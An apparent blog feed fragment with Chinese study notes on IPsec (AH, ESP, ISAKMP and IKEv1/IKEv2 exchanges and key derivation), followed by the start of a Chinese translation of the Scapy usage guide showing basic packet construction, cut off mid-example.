<content type="html"><![CDATA[<h2 id="IPsec解决的问题"><a href="#IPsec解决的问题" class="headerlink" title="IPsec解决的问题"></a>IPsec解决的问题</h2><ol><li>IP协议面临的问题<ul><li>伪造源IP地址</li><li>缺乏保密性保护</li><li>缺乏数据完整性保护</li></ul></li><li>虚拟专用网的需求<ul><li>NAT端口转发不具备安全性</li><li><strong>VPN建立虚拟专用网</strong></li></ul></li></ol><h2 id="IPsec概述"><a href="#IPsec概述" class="headerlink" title="IPsec概述"></a>IPsec概述</h2><p><strong>IPsec概念</strong>:根据<strong>安全策略</strong>对IP数据报进行<strong>安全处理</strong></p><ul><li><p>安全策略:针对安全需求给出的一系列解决方案,他决定了对什么样的通信实施安全保护以及何种安全保护。</p></li><li><p>安全处理:加密、消息认证吗、重新封装。</p></li></ul><p><strong>IPsec处理过程</strong>:协商和数据交互两个阶段</p><ul><li>协商阶段:认证身份,协商加密、认证算法,生成共享的会话密钥<ul><li>互联网密钥交换协议(IKE)</li></ul></li><li>数据交互阶段:利用协商好的算法和密钥对数据进行安全处理,实现中任选下面一种方式处理数据:<ul><li>认证首部(AH)</li><li>封装安全载荷(ESP)</li></ul></li></ul><p><strong>IPsec外出数据处理流程</strong></p><p><img src="IPsec%E5%A4%96%E5%87%BA%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E6%B5%81%E7%A8%8B.png" alt=""></p><h3 id="安全策略库-Security-Policy-Database-SPD"><a href="#安全策略库-Security-Policy-Database-SPD" class="headerlink" title="安全策略库(Security Policy Database ,SPD)"></a>安全策略库(Security Policy Database ,SPD)</h3><p><strong>概念</strong>:决定对什么样的通信实施安全保护以及提供何种安全保护</p><p><strong>内容</strong>:源IP、目的IP、名字(DNS名等)、传输层协议(TCP、UDP等)、源/目的端口、数据敏感等级。</p><p><strong>示意图</strong>:</p><p><img src="SPD%E7%A4%BA%E6%84%8F%E5%9B%BE.png" alt="image-20191127171918116"></p><h3 id="安全关联-SA"><a href="#安全关联-SA" class="headerlink" title="安全关联(SA)"></a>安全关联(SA)</h3><p><strong>概念</strong>:SA是两个IPsec实体之间的单工“连接”,用于规定保护数据报安全的具体<strong>安全协议</strong>、<strong>密码算法</strong>、<strong>密钥</strong>以及<strong>密钥的生存期</strong>。SA是单向的,要么对进入进行保护,要么对发送进行保护。</p><p><strong>内容</strong>:<SPI,目的IP地址,安全协议></p><ul><li>SPI(Security Parameter Index):4字节的串,协商SA时指定,IPsec报文中包含SPI。</li><li>目的IP地址:单播、广播、多播地址。</li></ul><p><strong>安全关联字段</strong>:</p><ul><li><p>目的IP地址</p></li><li><p>IPSec协议</p><ul><li>AH</li><li>ESP</li></ul></li><li><p>序号计数器</p><p>32bit,用于产生AH或ESP头的序号</p></li><li><p>序号计数器溢出标志</p><p>标志序号计数器是否溢出,若溢出则产生一个审计事件,并禁用该SA保护数据。</p></li><li><p>抗重放窗口</p><p>32bit,用于确定进入的AH或者ESP包是否为重放。</p></li><li><p>密码算法及密钥</p><ul><li>消息验证码算法及密钥</li><li>加密算法及密钥</li><li>初始化向量IV</li></ul></li><li><p>安全关联的生存期</p></li><li><p>IPSec协议模式</p><ul><li><p>传输模式</p><p>提供对高层协议数据的保护</p></li><li><p>隧道模式</p><p>提供对整个IP报文的保护</p></li></ul></li></ul><p><strong>示意图</strong>:</p><p><img src="SAD%E7%A4%BA%E6%84%8F%E5%9B%BE.png" alt="SAD示意图"></p><h2 id="IPSec封装"><a href="#IPSec封装" class="headerlink" title="IPSec封装"></a>IPSec封装</h2><h3 id="AH"><a href="#AH" class="headerlink" title="AH"></a>AH</h3><p> 认证首部(AH)提供<strong>数据完整性</strong>、<strong>数据源发认证</strong>、<strong>抗重放攻击</strong>三种安全服务,不对传输的数据提供保密性,共有两种工作模式,分别为<strong>传输模式</strong>和<strong>隧道模式</strong>。报文格式如下:</p><p><img src="AH%E4%BC%A0%E8%BE%93%E6%A8%A1%E5%BC%8F%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F.png" alt="image-20191127184837558"></p><ul><li>next header:8-bit,指明认证头部后面一个首部对应的协议类型</li><li>长度:8-bit,指明认证头部的长度,以四字节为计数单位,再减去2</li><li>Reserved:16-bit,保留字段</li><li>SPI:32-bit,协商SA时指定,IPsec报文中包含SPI</li><li>Sequence Number:32-bit,单调递增计数器值,用于防止重放攻击。</li><li>ICV:32-bit*k,变长字段,用于存储完整性校验值,用于进行数据源发认证和完整性校验</li></ul><h4 id="传输模式"><a href="#传输模式" class="headerlink" title="传输模式"></a>传输模式</h4><p> 传输模式为主机AB之间直接进行的数据包交互,IPSec引擎对要发送的数据包进行处理,在原有的IP包头和高层协议头部间插入一个AH头,包含原IP报文的<strong>完整性校验值</strong>(ICV),示意图如下:</p><p><img src="AH%E4%BC%A0%E8%BE%93%E6%A8%A1%E5%BC%8F%E5%B0%81%E8%A3%85%E7%A4%BA%E6%84%8F%E5%9B%BE.png" alt="image-20191127184655470"></p><h4 id="隧道模式"><a href="#隧道模式" class="headerlink" title="隧道模式"></a>隧道模式</h4><p> 隧道模式是两主机间经过网关AB进行交互,封装模式为直接在原报文前添加新的IP头和AH头。报文格式与传输模式相同,示意图如下:</p><p><img src="AH%E9%9A%A7%E9%81%93%E6%A8%A1%E5%BC%8F%E5%B0%81%E8%A3%85%E7%A4%BA%E6%84%8F%E5%9B%BE.png" alt="image-20191127185843779"></p><hr><h3 id="ESP"><a href="#ESP" class="headerlink" title="ESP"></a>ESP</h3><p> 封装安全载荷(ESP)提供<strong>保密性</strong>、<strong>数据完整性</strong>、<strong>数据源发认证</strong>、<strong>抗重放攻击</strong>四种安全服务,同样分为<strong>传输模式</strong>以及<strong>隧道模式</strong>两种,其报文格式如下:</p><p><img src="ESP%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F.png" alt="image-20191127190516621"></p><ul><li>SPI:协商SA时确定的安全参数索引</li><li>序号:报文编号,用于防止重放攻击</li><li>载荷:加密数据,与应用模式相关</li><li>填充:确保密文在4-byte的边界结束。</li><li>认证数据:变长可选字段,内容为ICV,认证算法说明ICV的长度,比较规则和验证的处理步骤。</li></ul><h4 id="传输模式-1"><a href="#传输模式-1" class="headerlink" title="传输模式"></a>传输模式</h4><p><img src="ESP%E4%BC%A0%E8%BE%93%E6%A8%A1%E5%BC%8F%E5%B0%81%E8%A3%85%E7%A4%BA%E6%84%8F%E5%9B%BE.png" alt="image-20191127191251803"></p><h4 id="隧道模式-1"><a href="#隧道模式-1" class="headerlink" title="隧道模式"></a>隧道模式</h4><p><img src="ESP%E9%9A%A7%E9%81%93%E6%A8%A1%E5%BC%8F%E5%B0%81%E8%A3%85%E6%A8%A1%E5%BC%8F.png" alt="image-20191127191406898"></p><hr><h3 id="IKE"><a href="#IKE" class="headerlink" title="IKE"></a>IKE</h3><p> 互联网密钥交换协议(Internet Key Exchange,IKE)用于协商SA、密钥生成、身份认证。使用<strong>UDP协议</strong>,<strong>默认端口为500</strong>。由ISAKMP(规定交换时序和格式)、Oakley(优化DH算法)、SKEME(快速密钥更新的通用密钥交换技术)组合而成。</p><h4 id="ISAKMP"><a href="#ISAKMP" class="headerlink" title="ISAKMP"></a>ISAKMP</h4><p> 在了解IKE前,可以先了解ISAKMP协议,ISAKMP协议全称Internet Security Association and Key Management Protocol ,分为两个阶段,第一阶段协商获得ISAKMP SA,用于保护第二阶段的协商过程,第二阶段获取SA用于保护通信数据。</p><p> 协议规定了五种协商时序,具体解释如下:</p><ul><li><p><strong>基本交换</strong></p></li><li><p><strong>身份保护交换</strong></p><ol><li>Initiator->Responder:HDR,SA建议</li><li>Responder->Initiator:HDR,SA选择</li><li>Initiator->Responder:HDR,密钥交换信息(KE),随机数(Nonce)</li><li>Responder->Initiator:HDR,密钥交换信息(KE),随机数(Nonce)</li><li>Initiator->Responder:HDR,身份信息(IDii),认证信息(AUTH),数据区受加密保护</li></ol></li></ul><ol start="6"><li>Responder->Initiator:HDR,身份信息(IDir),认证信息(AUTH),数据区受加密保护</li></ol><ul><li><p><strong>只有认证的交换</strong></p></li><li><p><strong>野蛮交换</strong></p><ol><li>Initiator->Responder:HDR,SA,KE,Nonce,IDii</li><li>Responder->Initiator:HDR,SA,KE,Nonce,IDir,AUTH</li><li>Initiator->Responder:HDR,AUTH(加密保护)</li></ol></li><li><p><strong>通知交换</strong></p><p>在交换过程中,如果一方发现差错,用通知交换通告通信对端。</p><p>用于SA管理,比如通知通信对端删除某个SA。</p></li></ul><p> 在实现中,ISAKMP规定报文由<strong>首部</strong>与<strong>数据区</strong>两部分组成,数据区由<strong>载荷</strong>构成,取决于交换类型和报文类型。报文头具体报文格式如图所示:</p><img src="/ISAKMP报文首部.png" alt="image-20191127194930382" style="zoom:80%;" /><ul><li>I-Cookie:8B,用于标识ISAKMP SA</li><li>R-Cookie:8B,用以标识ISAKMP SA</li><li>下一载荷:1B,说明报文的第一个载荷类型</li><li>主版本号和次版本号:4B+4B,说明使用的ISAKMP版本</li><li>交换类型:1B,说明使用的交换类型,如:身份保护交换(2),野蛮交换(4)。</li><li>标志:1B,前五位固定为0,后3位为A,C,E<ul><li>A比特:认证位,如果为1,则报文数据区仅包含认证信息,并未做加密处理</li><li>C比特:同步位,如果为1,说明SA协商已经完成</li><li>E比特:加密位,如果为1,说明首部之后的数据加密</li></ul></li><li>MessageID:4B,发起方生成的随机数,在第一阶段中设置为0,在第二阶段中与SPI一起标识SA</li><li>长度:指明包括首部在内的整个报文的字节数</li></ul><p> 载荷的组成模式为通用载荷首部+载荷类型对应的数据,其中通用载荷首部如图所示:</p><p><img src="ISAKMP%E9%80%9A%E7%94%A8%E8%BD%BD%E8%8D%B7%E9%A6%96%E9%83%A8.png" alt="image-20191127195943381"></p><ul><li>下一载荷:1B,说明随后一个载荷的类型</li><li>保留:1B,置零</li><li>载荷长度:2B,包括载荷首部在内的整个载荷所占的字节数</li></ul><p> 在协商过程中,发起方通过SA载荷提出多套方案,每一个方案用一个P载荷体现,而安全方案的细节则用T载荷表示,T载荷属于P载荷,P载荷属于SA载荷。下面介绍SA载荷格式。<strong>SA载荷示意图如下</strong>:</p><img src="/SA载荷格式.png" alt="image-20191127200352030" style="zoom:80%;" /><ul><li>DOI:4B,在第一阶段协商中置零,在第二阶段协商中表示IPSec解释域</li><li>Situation:4B,用于描述安全需求</li></ul><p> <strong>下为P载荷格式</strong></p><p><img src="ISAKMPP%E8%BD%BD%E8%8D%B7%E6%A0%BC%E5%BC%8F.png" alt="image-20191127203249267"></p><ul><li>Proposal#:1B,说明当前建议的编号,当多个P载荷属于同一套建议时,编号相同。</li><li>Protocol ID:1B,说明当前P载荷对应的安全协议,ISAKMP对应1,AH对应2,ESP对应3</li><li>Transform数量:说明当前P载荷包含的T载荷数量</li><li>SPI:用于标识安全协议SA,长度可变</li></ul><p> <strong>下为T载荷格式</strong></p><p><img src="ISAKMPT%E8%BD%BD%E8%8D%B7.png" alt="image-20191127203552482"></p><ul><li><p>Transform#:1B,说明当前T载荷的编号</p></li><li><p>Transform ID:1B,说明当前T载荷所服务的安全协议以及相应算法有规定的Transform ID值。比如:AH_SHA的Transform ID为3,ESP_DES的Transform ID为2</p><p><strong>SA属性格式如下:</strong></p><p><img src="T%E8%BD%BD%E8%8D%B7SA%E5%B1%9E%E6%80%A7%E6%A0%BC%E5%BC%8F.png" alt="image-20191130221040652"></p></li><li><p>AF比特:表明SA属性的描述方式</p><ul><li>AF=1,表明为短格式方式,“属性类型”字段说明属性的内容,占用15bit,随后两个字节说能属性值。</li><li>AF=0,表明为长格式方式,“属性类型”字段说明属性的内容,占用15bit,随后两个字节说能属性值。</li></ul></li></ul><h4 id="IKEv1"><a href="#IKEv1" class="headerlink" title="IKEv1"></a>IKEv1</h4><p> 拥有ISAKMP的基础后,IKEv1的形式就易于理解了,同样分为两个阶段:第一阶段获得IKE SA,有<strong>主模式</strong>与<strong>野蛮模式</strong>两种方式进行协商;第二阶段协商获得IPSec SA,方式为<strong>快速模式</strong>。</p><p> IKE SA中需要协商的内容有<strong>加密算法</strong>、<strong>散列算法</strong>、<strong>认证方法</strong>、<strong>DH群类型</strong>、<strong>伪随机函数</strong>、<strong>密钥长度</strong>、<strong>生命期类型及生命期</strong>等。</p><ul><li><p><strong>伪随机函数(PRF)</strong>:IKE使用PRF生成四种秘密信息(以秘密信息和其他信息作为输入),如果不协商PRF,则默认使用HMAC,其中hash函数为协商认定:</p><ul><li><p>SKEYID:用于导出其他秘密信息,<strong>其生成方式取决于认证方式</strong></p><ul><li>Signature:SKEYID=PRF(Ni_b|Nr_b,g^xy)</li><li>Public key encryption:SKEYID=PRF(hash(Ni_b|Nr_b),CKY_I|CKY_R)</li><li>pre-shared key:SKEYID=PRF(pre-shared key,Ni_b|Nr_b)</li></ul></li><li><p>SKEYID_d:为IPSec衍生出加密的密钥素材</p><ul><li>SKEYID_d=PRF(SKEYID,g^xy|CKY_I|CKT_R|0)</li></ul></li><li><p>SKEYID_a:用于数据完整性检验及数据源发认证</p><ul><li>SKEYID_a=PRF(SKEYID,SKEYID_d|g^xy|CKY_I|CKT_R|1)</li></ul></li><li><p>SKEYID_e:用于数据加密</p><ul><li>SKEYID_e=PRF(SKEYID,SKEYID_a|g^xy|CKY_I|CKT_R|2)</li></ul></li></ul></li><li><p><strong>身份认证</strong>:SKEYID的导出与身份认证有关,因此身份认证是必须的。IKE支持以下四种身份认证方法:</p><ul><li><p>数字签名认证</p><p>通信双方互相交换证书和签名信息,如果签名验证通过,则说明对方拥有与证书所包含公钥对应的私钥,从而确认对方身份。</p></li><li><p>公钥加密认证</p><p>通信双方用对方的公钥对身份、随机数Nonce等信息进行加密处理,将结果发送给对方;之后,通信双方要将身份、随机数等信息作为输入生成认证信息,如果认证信息正确,表明对方拥有公钥所对应的私钥,从而验证对端身份。</p></li><li><p>改进的公钥加密认证</p><p>对基于公钥加密的身份认证方法的改进,对部分信息采用公钥进行加密,而对另一部分信息采用对称密码进行加密。在要加密的信息较多的情况下,此方法的处理效率较高。</p></li><li><p>预共享密钥认证</p><p>此方法要求通信双方预先共享一个密钥,在生成认证信息时,与共享密钥作为输入之一,如果认证信息正确,则说明对方拥有正确的与共享密钥,从而验证对端身份。</p></li></ul></li></ul><h5 id="第一阶段——主模式"><a href="#第一阶段——主模式" class="headerlink" title="第一阶段——主模式"></a>第一阶段——主模式</h5><p>现在我们已经了解了ISAKMP的报文交换结构与IKE中身份认证的形式,接下来具体介绍主模式的报文交换流程,同样,随着认证方式的不同,报文交换顺序也不相同。</p><ul><li><p><strong>数字签名认证方法</strong></p><p>I→R:HDR,SA(建议)</p><p>R→I:HDR,SA(选择)</p><p>I→R:HDR,KE(密钥交换信息),Ni(随机数)</p><p>R→I:HDR,KE(密钥交换信息),Nr(随机数)</p><p>I→R:HDR*,IDii(身份信息),[CERT,]SIG_I(数字签名,证书为可选信息)</p><p>R→I:HDR*,IDir(身份信息),[CERT,]SIG_R(数字签名,证书为可选信息)</p></li><li><p><strong>公钥加密认证方法</strong></p><p>I→R:HDR,SA(建议)</p><p>R→I:HDR,SA(选择)</p><p>I→R:HDR,KE(密钥交换信息),[HASH(1),]<IDii_b>PubKey_r,<Ni_b>PubKey_r</p><p>R→I:HDR,KE(密钥交换信息),<IDir_b>PubKey_i,<Nr_b>PubKey_i</p><p>I→R:HDR*,HASH_I</p><p>R→I:HDR*,HASH_R</p><p>第三步中可选的HASH(1)用于说明所使用的的 R 方公钥(回应方可能有多个公钥),输入为所选公钥对应的证书。后面传递的是<strong>用对端公钥加密的身份信息和随机数</strong> </p><p>第五、六步中的HASH_I用于验证对端身份,来看计算公式:</p><p><code>HASH_I=PRF(SKEYID,g^xi|g^xr|CKY-I|CKY-R|SAi_b|IDii_b)</code></p><p><code>SKEYID=PRF(hash(Ni_b|Nr_b),CKY_I|CKY_R)</code></p><p>使用HASH_I验证SKEYID,使用SKEYID验证Nr_b,由于Nr_b在第四次报文中被PubKey_i加密,所以Nr_b如果正确,说明I方拥有PubKey_i对应的私钥。</p></li><li><p><strong>改进的公钥加密认证方法</strong></p><p>I→R:HDR,SA(建议)</p><p>R→I:HDR,SA(选择)</p><p>I→R:HDR,[HASH(1),]<Ni_b>PubKey_r,<KE_b>Ke_i,<IDii_b>Ke_i[,<Cert-I_b>Ke_i]</p><p>R→I:HDR,<Nr_b>PubKey_i,<KE_b>Ke_r,<IDir_b>Ke_r</p><p>I→R:HDR*,HASH_I</p><p>R→I:HDR*,HASH_R</p><p>3、4报文中协商的内容为:密钥交换信息,随机数(回应方公钥加密)、身份、证书信息(可选),加密(随机数除外)使用从Nonce信息导出的密钥加密,算法为SA规定。</p></li><li><p><strong>预共享密钥认证方法</strong></p><p>I→R:HDR,SA(建议)</p><p>R→I:HDR,SA(选择)</p><p>I→R:HDR,KE(密钥交换信息),Ni(随机数)</p><p>R→I:HDR,KE(密钥交换信息),Nr(随机数)</p><p>I→R:HDR*,IDii(身份信息),HASH_I</p><p>R→I:HDR*,IDir(身份信息),HASH_R</p><p>在第5、6步中,使用HASH_I和HASH_R验证身份,我们来看一下验证流程:</p><p><code>HASH_I=PRF(SKEYID,g^xi|g^xr|CKY-I|CKY-R|SAi_b|IDii_b)</code><br><code>SKEYID=PRF(pre-shared key,Ni_b|Nr_b)</code></p><p>可以看出,HASH_I可以验证SKEYID的正确性,SKEYID可以验证PSK、Ni_b和Nr_b的完整性。拥有PSK且随机数不变则通过身份认证。</p></li></ul><h5 id="第一阶段——野蛮模式"><a href="#第一阶段——野蛮模式" class="headerlink" title="第一阶段——野蛮模式"></a>第一阶段——野蛮模式</h5><p>回忆一下ISAKMP的野蛮模式,野蛮模式与主模式的区别就在于他只有三个报文的交换</p><ul><li><p><strong>数字签名认证</strong></p><p>I→R:HDR,SA,KE,Ni,IDii</p><p>R→I:HDR,SA,KE,Nr,IDir,[CERT,]SIG_R</p><p>I→R:HDR,[CERT,]SIG_I</p><p>可以看出,第二个报文就使发起方可以验证响应方的身份,第三个报文反向认证。</p></li><li><p><strong>公钥加密认证</strong></p><p>I→R:HDR,SA,[HASH(1),]KE,<Ni_b>PubKey_r,<IDii>PubKey_r</p><p>R→I:HDR,SA,KE,<Nr_b>PubKey_i,<IDir_b>PubKey_i,HASH_R</p><p>I→R:HDR, HASH_I</p><p>认证方式参见主模式</p></li><li><p><strong>改进的公钥加密认证</strong></p><p>I→R:HDR,SA,[HASH(1),]<Ni_b>PubKey_r,<KE_b>Ke_i,<IDii_b>Ke_i[,<Cert-I_b>Ke_i]</p><p>R→I:HDR,SA,KE,<Nr_b>PubKey_i,<IDir_b>PubKey_i,HASH_R</p><p>I→R:HDR,HASH_I</p><p>注意改进的地方全在第一个报文</p></li><li><p><strong>预共享密钥认证</strong></p><p>I→R:HDR,SA,KE,Ni,IDii</p><p>R→I:HDR,SA,KE,Nr,IDir,HASH_R</p><p>I→R:HDR,HASH_I</p></li></ul><h5 id="第二阶段——快速模式"><a href="#第二阶段——快速模式" class="headerlink" title="第二阶段——快速模式"></a>第二阶段——快速模式</h5><p>第二阶段协商获得IPSec SA,我们来看报文交换流程:</p><p>I→R:HDR*,HASH(1),SA,[KE,]Ni[,IDci,IDcr]</p><p>R→I:HDR*,HASH(2),SA,[KE,]Nr[,IDir,IDcr]</p><p>I→R:HDR*,HASH(3)</p><p>3个hash值用于数据源认证和完整性校验,计算方式如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">HASH(1)=PRF(SKEYID_a,M-ID|SA|Ni[|KE][|IDci|IDcr])</span><br><span class="line">HASH(2)=PRF(SKEYID_a,M-ID|Ni_b|SA|Nr[|KE][|IDci|IDcr])</span><br><span class="line">HASH(3)=PRF(SKEYID_a,0|M-ID|Nr_b)</span><br></pre></td></tr></table></figure><p>KE为可选载荷,用于实现PFS(完全前向保护)。我们可以看到需要或不需要PFS两种情况的KEYMAT计算方式:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">KEYMAT=PRF(SKEYID_d,protocol|SPI|Ni_b|Nr_b) //不需要PFS</span><br><span class="line">//protocol和SPI为P载荷中包含的协议ID和SPI字段</span><br><span class="line">KEYMAT=PRF(SKEYID_d,g(qm)^xy|protocol|SPI|Ni_b|Nr_b) //需要PFS</span><br><span class="line">//g(qm)^xy为快速模式下临时D-H交换的共享密钥</span><br></pre></td></tr></table></figure><p>如果需要协商多个SA,只需要同时在<strong>一个报文</strong>里发送多个SA信息即可</p><h5 id="第二阶段——新群模式"><a href="#第二阶段——新群模式" class="headerlink" title="第二阶段——新群模式"></a>第二阶段——新群模式</h5><p>新群模式用于协商新的D-H群,可以满足快速模式中对PFS的需求,他的实现只需要简单的两次报文发送:</p><p>I→R:HDR*,HASH(1),SA</p><p>R→I:HDR*,HASH(2),SA</p><p>其中HASH(1)=PRF(SKEYID_a,M-ID|SA),HASH(2)同理。</p><h4 id="IKEv2"><a href="#IKEv2" class="headerlink" title="IKEv2"></a>IKEv2</h4><p> IKEv2的诞生用于弥补IKEv1中报文交换过多的问题,以主模式+快速模式为例,IKEv1中需要6+3共9次报文的传输,这实在是太多了。IKEv2简单的将其压缩到了4次报文传输:</p><p>I→R:HDR,SAi1,KEi,Ni</p><p>R→I:HDR,SAr1,KEr,Nr,[CERTREQ]</p><p>I→R:HDR,SK{IDi, [CERT,] [CERTREQ,] [IDr,] AUTH,SAi2,TSi,TSr}</p><p>R→I:HDR,SK{IDr, [CERT,] AUTH,SAr2,TSi,TSr}</p><p>前两个报文实现IKE_SA_INIT行为,协商了SA,DH群和随机数等信息。此时,通信双方均能生成SKEYSEED,然后IKE SA所需的密钥均可以从中导出,用于加密的密钥称为SK_e,用于完整性保护的密钥称为SK_a,用于生成导出Child SAa的密钥材料SK_d也从中产生。</p><p>后面两个报文实现IKE_AUTH交换。<strong>我懒得写了</strong></p>]]></content>
<summary type="html">
<h2 id="IPsec解决的问题"><a href="#IPsec解决的问题" class="headerlink" title="IPsec解决的问题"></a>IPsec解决的问题</h2><ol>
<li>IP协议面临的问题<ul>
<li>伪造源IP地址</li>
<
</summary>
<category term="协议" scheme="https://iwannatobehappy.github.io/tags/%E5%8D%8F%E8%AE%AE/"/>
</entry>
<entry>
<title>scapy_usage_2.4.3中文翻译</title>
<link href="https://iwannatobehappy.github.io/2019/11/11/scapy-usage-2-4-3%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91/"/>
<id>https://iwannatobehappy.github.io/2019/11/11/scapy-usage-2-4-3%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91/</id>
<published>2019-11-11T07:44:47.000Z</published>
<updated>2019-11-12T06:58:51.857Z</updated>
<content type="html"><![CDATA[<p><a href="https://scapy.readthedocs.io/en/latest/usage.html" target="_blank" rel="noopener">文档官网</a>,大部分<a href="https://github.com/Larryxi/Scapy_zh-cn" target="_blank" rel="noopener">中文翻译来源</a>。</p><h1 id="Usage"><a href="#Usage" class="headerlink" title="Usage"></a>Usage</h1><h2 id="Starting-Scapy"><a href="#Starting-Scapy" class="headerlink" title="Starting Scapy"></a>Starting Scapy</h2><p>Scapy的交互式shell运行在终端中,要想发送packets,需要Root权限,所以Linux下需要sudo权限:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo ./scapy</span></span><br><span class="line">Welcome to Scapy (2.4.0)</span><br><span class="line"><span class="meta">></span><span class="bash">>></span></span><br></pre></td></tr></table></figure><p>:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">C:\>scapy</span><br><span class="line">Welcome to Scapy (2.4.0)</span><br><span class="line"><span class="meta">></span><span class="bash">>></span></span><br></pre></td></tr></table></figure><p>如果你没有安好所有可选包,Scapy将提示你一些函数无法使用:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">INFO: Can't import python matplotlib wrapper. Won't be able to plot.</span><br><span class="line">INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().</span><br></pre></td></tr></table></figure><p>基础的发送数据包功能将依旧能用。</p><h3 id="Customizing-the-Terminal"><a href="#Customizing-the-Terminal" class="headerlink" title="Customizing the Terminal"></a>Customizing the Terminal</h3><p>在你开始使用Scapy之前,你可以配置字体颜色——只需要设置conf.color_theme为如下选项:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DefaultTheme, BrightTheme, RastaTheme, ColorOnBlackTheme, BlackAndWhite, HTMLTheme, LatexTheme</span><br></pre></td></tr></table></figure><p>例如:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conf.color_theme = BrightTheme()</span><br></pre></td></tr></table></figure><p><img src="1.gif" alt="_images/animation-scapy-themes-demo.gif"></p><p>其他参数,如conf.prompt,也可以提供一些定制。注意Scapy将在conf值更改后立即自动更新shell。</p><h2 id="交互式教程"><a href="#交互式教程" class="headerlink" title="交互式教程"></a>交互式教程</h2><p>以下将向你介绍一些简单的功能。</p><h3 id="First-steps"><a href="#First-steps" class="headerlink" title="First steps"></a>First steps</h3><p>咱来整个数据包:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">></span><span class="bash">>> a=IP(ttl=10)</span></span><br><span class="line"><span class="meta">></span><span class="bash">>> a</span></span><br><span class="line">< IP ttl=10 |></span><br><span class="line"><span class="meta">></span><span class="bash">>> a.src</span></span><br><span class="line">’127.0.0.1’</span><br><span class="line"><span class="meta">></span><span class="bash">>> a.dst=<span class="string">"192.168.1.1"</span></span></span><br><span class="line"><span class="meta">></span><span class="bash">>> a</span></span><br><span class="line">< IP ttl=10 dst=192.168.1.1 |></span><br><span class="line"><span class="meta">></span><span class="bash">>> a.src</span></span><br><span class="line">’192.168.8.14’</span><br><span class="line"><span class="meta">></span><span class="bash">>> del(a.ttl)</span></span><br><span class="line"><span class="meta">></span><span class="bash">>> a</span></span><br><span class="line">< IP dst=192.168.1.1 |></span><br><span class="line"><span class="meta">></span><span class="bash">>> a.ttl</span></span><br><span class="line">64</span><br></pre></td></tr></table></figure><h3 id="Stacking-layers"><a href="#Stacking-layers" class="headerlink" title="Stacking layers"></a>Stacking layers</h3><p>操作符<code>/</code>用于两个layer之间,此时,底层将根据高层重载一个或多个字段(你仍可以对其赋值)。一个string可以被用作一个原生层。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>IP()</span><br><span class="line"><IP |></span><br><span class="line"><span class="meta">>>> </span>IP()/TCP()</span><br><span class="line"><IP frag=<span class="number">0</span> proto=TCP |<TCP |>></span><br><span class="line"><span class="meta">>>> </span>Ether()/IP()/TCP()</span><br><span class="line"><Ether type=<span class="number">0x800</span> |<IP frag=<span class="number">0</span> proto=TCP |<TCP |>>></span><br><span class="line"><span class="meta">>>> </span>IP()/TCP()/<span class="string">"GET / HTTP/1.0\r\n\r\n"</span></span><br><span class="line"><IP frag=<span class="number">0</span> proto=TCP |<TCP |<Raw load=<span class="string">'GET / HTTP/1.0\r\n\r\n'</span> |>>></span><br><span class="line"><span class="meta">>>> </span>Ether()/IP()/IP()/UDP()</span><br><span class="line"><Ether type=<span class="number">0x800</span> |<IP frag=<span class="number">0</span> proto=IP |<IP frag=<span class="number">0</span> proto=UDP |<UDP |>>>></span><br><span class="line"><span class="meta">>>> </span>IP(proto=<span class="number">55</span>)/TCP()</span><br><span class="line"><IP frag=<span class="number">0</span> proto=<span class="number">55</span> |<TCP |>></span><br></pre></td></tr></table></figure><p><img src="fieldsmanagement.png" alt="_images/fieldsmanagement.png"></p><p>每个包都能被创造或切分(Python中<code>_</code>表示上条指令执行结果):</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>raw(IP())</span><br><span class="line"><span class="string">'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'</span></span><br><span class="line"><span class="meta">>>> </span>IP(_)</span><br><span class="line"><IP version=<span class="number">4L</span> ihl=<span 